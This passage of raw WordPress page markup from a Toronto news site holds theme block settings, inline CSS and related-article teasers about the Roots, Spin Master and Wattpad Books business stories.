- Advertisement -","video_rec_color":"","video_rec_disable":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_horiz":"content-horiz-left","meta_width":"","meta_margin":"","excerpt_col":"1","excerpt_gap":"","art_audio":"","art_audio_size":"1.5","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","modules_category_spacing":"","modules_cat_border":"","modules_category_radius":"0","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","excerpt_inline":"","show_audio":"block","hide_audio":"","meta_space":"","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radiu
967s":"","pag_space":"","pag_border_radius":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_line_height":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","all_underline_height":"","meta_bg":"","com_bg":"","com_txt":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","nextprev_border":"","nextprev_border_h":"","el_class":"","live_filter_cur_post_author":"469","td_column_number":1,"header_color":"","ajax_pagination_infinite_stop":"","td_ajax_preloading":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_85","tdc_css_class":"tdi_85","tdc_css_class_
967style":"tdi_85_rand_style"}';
968block_tdi_85.td_column_number = "1";
969block_tdi_85.block_type = "tdb_single_related";
970block_tdi_85.post_count = "2";
971block_tdi_85.found_posts = "43";
972block_tdi_85.header_color = "";
973block_tdi_85.ajax_pagination_infinite_stop = "";
974block_tdi_85.max_num_pages = "22";
975tdBlocksArray.push(block_tdi_85);
976</script>
976<div id=tdi_85 class="td_block_inner tdb-block-inner td-fix-index">
977        <div class="tdb_module_related td_module_wrap td-animation-stack">
978            <div class="td-module-container td-category-pos-above">
979                                    <div class="td-image-container">
980                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-roots-success-story-how-a-love-for-the-canadian-wilderness-built-the-nations-most-iconic-brand-6661"  rel="bookmark" class="td-image-wrap " title="The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-21-o-00.35.11-1068x693.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-21-o-00.35.11-1068x693.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
981                
982                <div class="td-module-meta-info">
983                    <a href="https://toronto1.one/en/business" class="td-post-category">Business</a>
984                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/the-roots-success-story-how-a-love-for-the-canadian-wilderness-built-the-nations-most-iconic-brand-6661"  rel="bookmark" title="The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand">The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand</a></h3>
985                    <div class="td-excerpt">
986In the fashion world, few brands can boast about becoming part of a country&#039;s national DNA. But in Canada, Roots...</div>
987                    <div class="td-editor-date">
988                        
989                        <span class="td-author-date">
990                                                                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-20T17:45:10-04:00" >20.05.2026</time></span>                                                                                </span>
991                    </div>
992
993                    
994                    
995                                    </div>
996            </div>
997        </div>
998
999        
1000        <div class="tdb_module_related td_module_wrap td-animation-stack">
1001            <div class="td-module-container td-category-pos-above">
1002                                    <div class="td-image-container">
1003                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-spin-master-success-story-how-three-friends-turned-a-sawdust-toy-into-a-billion-dollar-paw-patrol-empire-6627"  rel="bookmark" class="td-image-wrap " title="The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-14.04.01-1068x800.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-14.04.01-1068x800.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
1004                
1005                <div class="td-module-meta-info">
1006                    <a href="https://toronto1.one/en/business" class="td-post-category">Business</a>
1007                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/the-spin-master-success-story-how-three-friends-turned-a-sawdust-toy-into-a-billion-dollar-paw-patrol-empire-6627"  rel="bookmark" title="The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire">The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire</a></h3>
1008                    <div class="td-excerpt">
1009The global toy market has long been dominated by industry titans like Mattel (the creators of Barbie), Hasbro, and LEGO....</div>
1010                    <div class="td-editor-date">
1011                        
1012                        <span class="td-author-date">
1013                                                                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-19T07:08:27-04:00" >19.05.2026</time></span>                                                                                </span>
1014                    </div>
1015
1016                    
1017                    
1018                                    </div>
1019            </div>
1020        </div>
1021
1022        </div><div class="td-next-prev-wrap"><a href="#" class="td-ajax-prev-page ajax-page-disabled" aria-label="prev-page" id="prev-page-tdi_85" data-td_block_id="tdi_85"><i class="td-next-prev-icon td-icon-left"></i></a><a href="#"  class="td-ajax-next-page" aria-label="next-page" id="next-page-tdi_85" data-td_block_id="tdi_85"><i class="td-next-prev-icon td-icon-right"></i></a></div></div><div class="td_block_wrap td_flex_block_1 tdi_86 td-pb-border-top td_block_template_1 td_flex_block"  data-td-block-uid="tdi_86" >
1023<style>.tdi_86{margin-bottom:60px!important}</style>
1024<style>.tdi_86 .td-image-wrap{padding-bottom:70%}.tdi_86 .entry-thumb{background-position:center 50%}.tdi_86 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_86 .td-image-container,.ie11 .tdi_86 .td-image-container{flex:0 0 auto}.tdi_86 .td-module-container{flex-direction:row;border-color:#eaeaea!important}.ie10 .tdi_86 .td-module-meta-info,.ie11 .tdi_86 .td-module-meta-info{flex:1}body .tdi_86 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_86 .td-module-meta-info{padding:5px 0 0 15px;border-color:#eaeaea}.tdi_86 .td_module_wrap{padding-left:20px;padding-right:20px;padding-bottom:10px;margin-bottom:10px}.tdi_86 .td_block_inner{margin-left:-20px;margin-right:-20px}.tdi_86 .td-module-container:before{bottom:-10px;border-color:#eaeaea}.tdi_86 .td-post-vid-time{display:block}.tdi_86 .td-post-category:not(.td-post-extra-category){display:none}.tdi_86 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_86 .td-excerpt{display:none;margin:15px 0 0 0;column-count:1;column-gap:48px}.tdi_86 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_86 .td-read-more{display:none}.tdi_86 .td-author-date{display:none}.tdi_86 .td-post-author-name{display:none}.tdi_86 .td-post-date,.tdi_86 .td-post-author-name span{display:none}.tdi_86 .entry-review-stars{display:none}.tdi_86 .td-icon-star,.tdi_86 .td-icon-star-empty,.tdi_86 .td-icon-star-half{font-size:15px}.tdi_86 .td-module-comments{display:none}.tdi_86 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_86 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_86 .td-module-title a{color:#172842;box-shadow:inset 0 0 0 0 #000}.tdi_86 .td_module_wrap:hover .td-module-title a{color:#e2687e!important}.tdi_86 .td-post-author-name a{color:#90a0af}.tdi_86 .td-post-author-name:hover a{color:#e2687e}.tdi_86 .entry-title{margin:0 0 10px 0;font-family:Montserrat!important;font-size:15px!important;line-height:1.2!important;font-weight:700!important}.tdi_86 .td-editor-date,.tdi_86 .td-editor-date .td-post-author-name a,.tdi_86 .td-editor-date .entry-date,.tdi_86 .td-module-comments a{font-family:Montserrat!important;font-size:13px!important;font-weight:700!important;text-transform:uppercase!important}html:not([class*='ie']) .tdi_86 .td-module-container:hover .entry-thumb:before{opacity:0}@media (min-width:768px){.tdi_86 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_86 .td-image-wrap{padding-bottom:80%}.tdi_86 .td_module_wrap{padding-bottom:7.5px;margin-bottom:7.5px;padding-bottom:7.5px!important;margin-bottom:7.5px!important}.tdi_86 .td-module-container:before{bottom:-7.5px}.tdi_86 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_86 .td_module_wrap .td-module-container:before{display:block!important}.tdi_86 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_86 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_86 .entry-title{font-size:12px!important}@media (min-width:768px){.tdi_86 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_86 .td-image-wrap{padding-bottom:100%}.tdi_86 .td-module-meta-info{padding:0 0 0 10px}.tdi_86 .td_module_wrap{padding-bottom:5px;margin-bottom:5px;padding-bottom:5px!important;margin-bottom:5px!important}.tdi_86 .td-module-container:before{bottom:-5px}.tdi_86 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_86 .td_module_wrap .td-module-container:before{display:block!important}.tdi_86 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_86 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_86 .entry-title{font-size:11px!important}.tdi_86 .td-editor-date,.tdi_86 .td-editor-date .td-post-author-name a,.tdi_86 .td-editor-date .entry-date,.tdi_86 .td-module-comments a{font-size:10px!important}@media (min-width:768px){.tdi_86 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_86 .td-image-wrap{padding-bottom:100%}.tdi_86 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_86 .td-module-container:before{bottom:-10px}.tdi_86 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_86 .td_module_wrap .td-module-container:before{display:block!important}.tdi_86 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_86 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_86 .td-editor-date,.tdi_86 .td-editor-date .td-post-author-name a,.tdi_86 .td-editor-date .entry-date,.tdi_86 .td-module-comments a{font-size:12px!important}@media (min-width:768px){.tdi_86 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style>
1024<script>var block_tdi_86 = new tdBlock();
1025block_tdi_86.id = "tdi_86";
1026block_tdi_86.atts = '{"image_size":"","image_floated":"float_left","image_width":"30","image_height":"eyJhbGwiOiI3MCIsInBvcnRyYWl0IjoiMTAwIiwicGhvbmUiOiIxMDAiLCJsYW5kc2NhcGUiOiI4MCJ9","show_btn":"none","show_excerpt":"eyJwb3J0cmFpdCI6Im5vbmUiLCJwaG9uZSI6Im5vbmUiLCJhbGwiOiJub25lIn0=","show_com":"eyJwb3J0cmFpdCI6Im5vbmUiLCJhbGwiOiJub25lIn0=","show_author":"eyJwb3J0cmFpdCI6Im5vbmUiLCJsYW5kc2NhcGUiOiJub25lIiwiYWxsIjoibm9uZSJ9","show_cat":"none","meta_padding":"eyJhbGwiOiI1cHggMCAwIDE1cHgiLCJwb3J0cmFpdCI6IjAgMCAwIDEwcHgifQ==","f_title_font_size":"eyJhbGwiOiIxNSIsInBvcnRyYWl0IjoiMTEiLCJsYW5kc2NhcGUiOiIxMiJ9","f_title_font_line_height":"1.2","f_title_font_weight":"700","all_modules_space":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxNSJ9","show_date":"eyJwb3J0cmFpdCI6Im5vbmUiLCJsYW5kc2NhcGUiOiJub25lIiwiYWxsIjoibm9uZSJ9","art_excerpt":"15px 0 0 0","f_title_font_family":"394","f_meta_font_family":"394","f_meta_font_transform":"uppercase","f_meta_font_weight":"700","art_title":"0 0 10px 0","tdc_css":"eyJwb3J0cmFpdCI6eyJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsImFsbCI6eyJtYXJnaW4tYm90dG9tIjoiNjAiLCJkaXNwbGF5IjoiIn0sInBob25lIjp7ImRpc3BsYXkiOiIifSwicGhvbmVfbWF4X3dpZHRoIjo3NjcsImxhbmRzY2FwZSI6eyJkaXNwbGF5IjoiIn0sImxhbmRzY2FwZV9tYXhfd2lkdGgiOjExNDAsImxhbmRzY2FwZV9taW5fd2lkdGgiOjEwMTl9","h_effect":"","category_id":"","modules_on_row":"","title_txt_hover":"#e2687e","sort":"","limit":"3","f_meta_font_size":"eyJhbGwiOiIxMyIsInBvcnRyYWl0IjoiMTAiLCJwaG9uZSI6IjEyIn0=","show_review":"none","title_txt":"#172842","author_txt":"#90a0af","author_txt_hover":"#e2687e","block_type":"td_flex_block_1","separator":"","custom_title":"","custom_url":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"-3775","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","installed_post_types":"","include_cf_posts":"","exclude_cf_posts":"","popular_by_date":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","modules_gap":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"layout-default","meta_width":"","meta_margin":"","meta_space":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","review_space":"","review_size":"2.5","review_distance":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radiu
1026s":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","td_column_number":1,"header_color":"","color_preset":"","border_top":"","class":"tdi_86","tdc_css_class":"tdi_86","tdc_css_class_
1026style":"tdi_86_rand_style"}';
1027block_tdi_86.td_column_number = "1";
1028block_tdi_86.block_type = "td_flex_block_1";
1029block_tdi_86.post_count = "3";
1030block_tdi_86.found_posts = "102";
1031block_tdi_86.header_color = "";
1032block_tdi_86.ajax_pagination_infinite_stop = "";
1033block_tdi_86.max_num_pages = "34";
1034tdBlocksArray.push(block_tdi_86);
1035</script>
1035<div class="td-block-title-wrap"></div><div id=tdi_86 class="td_block_inner td-mc1-wrap">
1036        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1037            <div class="td-module-container td-category-pos-">
1038                                    <div class="td-image-container">
1039                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-roots-success-story-how-a-love-for-the-canadian-wilderness-built-the-nations-most-iconic-brand-6661"  rel="bookmark" class="td-image-wrap " title="The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-21-o-00.35.11-696x451.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-21-o-00.35.11-696x451.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1040                
1041                <div class="td-module-meta-info">
1042                                        
1043                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/the-roots-success-story-how-a-love-for-the-canadian-wilderness-built-the-nations-most-iconic-brand-6661"  rel="bookmark" title="The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand">The Roots Success Story: How a Love for the Canadian Wilderness Built the Nation&#8217;s Most Iconic Brand</a></h3>
1044                    
1045                                            <div class="td-editor-date">
1046                                                        
1047                                                            <span class="td-author-date">
1048                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/harry-taylor">Harry Taylor</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-20T17:45:10-04:00" >20.05.2026</time></span>                                                                                                        </span>
1049                                                    </div>
1050                    
1051                    <div class="td-excerpt">
1052In the fashion world, few brands can boast about becoming part of a country&#039;s national DNA. But in Canada, Roots isn&#039;t just a retail...</div>
1053                    
1054                                    </div>
1055            </div>
1056        </div>
1057
1058        
1059        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1060            <div class="td-module-container td-category-pos-">
1061                                    <div class="td-image-container">
1062                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-spin-master-success-story-how-three-friends-turned-a-sawdust-toy-into-a-billion-dollar-paw-patrol-empire-6627"  rel="bookmark" class="td-image-wrap " title="The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-14.04.01-696x521.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-14.04.01-696x521.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1063                
1064                <div class="td-module-meta-info">
1065                                        
1066                    <h3 class="entry-title td-module-title">
1066<a href="https://toronto1.one/en/eternal/the-spin-master-success-story-how-three-friends-turned-a-sawdust-toy-into-a-billion-dollar-paw-patrol-empire-6627"  rel="bookmark" title="The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire">The Spin Master Success Story: How Three Friends Turned a Sawdust Toy into a Billion-Dollar &#8220;PAW Patrol&#8221; Empire</a></h3>
1067                    
1068                                            <div class="td-editor-date">
1069                                                        
1070                                                            <span class="td-author-date">
1071                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/harry-taylor">Harry Taylor</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-19T07:08:27-04:00" >19.05.2026</time></span>                                                                                                        </span>
1072                                                    </div>
1073                    
1074                    <div class="td-excerpt">
1075The global toy market has long been dominated by industry titans like Mattel (the creators of Barbie), Hasbro, and LEGO. For years, it seemed...</div>
1076                    
1077                                    </div>
1078            </div>
1079        </div>
1080
1081        
1082        <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post">
1083            <div class="td-module-container td-category-pos-">
1084                                    <div class="td-image-container">
1085                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/the-magic-of-the-orange-platform-how-wattpad-books-rewrote-the-rules-of-ya-literature-6587"  rel="bookmark" class="td-image-wrap " title="The Magic of the &#8220;Orange Platform&#8221;: How Wattpad Books Rewrote the Rules of YA Literature" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-13.39.20-696x452.png"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2026/05/znimok-ekrana-2026-05-19-o-13.39.20-696x452.png');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                                                    </div>
1086                
1087                <div class="td-module-meta-info">
1088                                        
1089                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/the-magic-of-the-orange-platform-how-wattpad-books-rewrote-the-rules-of-ya-literature-6587"  rel="bookmark" title="The Magic of the &#8220;Orange Platform&#8221;: How Wattpad Books Rewrote the Rules of YA Literature">The Magic of the &#8220;Orange Platform&#8221;: How Wattpad Books Rewrote the Rules of YA Literature</a></h3>
1090                    
1091                                            <div class="td-editor-date">
1092                                                        
1093                                                            <span class="td-author-date">
1094                                                                        <span class="td-post-author-name"><a href="https://toronto1.one/en/author/harry-taylor">Harry Taylor</a> <span>-</span> </span>                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-05-19T06:45:39-04:00" >19.05.2026</time></span>                                                                                                        </span>
1095                                                    </div>
1096                    
1097                    <div class="td-excerpt">
1098Today, reading from a smartphone screen is second nature. But two decades ago, the idea of consuming an entire novel on a tiny mobile...</div>
1099                    
1100                                    </div>
1101            </div>
1102        </div>
1103
1104        </div></div></div></div></div></div><div class="vc_row_inner tdi_88  vc_row vc_inner wpb_row td-pb-row" >
1105<style scoped>.tdi_88{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_88,.tdi_88 .tdc-inner-columns{display:block}.tdi_88 .tdc-inner-columns{width:100%}</style><div class="vc_column_inner tdi_90  wpb_column vc_column_container tdc-inner-column td-pb-span12">
1106<style scoped>.tdi_90{vertical-align:baseline}.tdi_90 .vc_column-inner>.wpb_wrapper,.tdi_90 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_90 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" ></div></div></div></div></div></div></div></div></div></div>
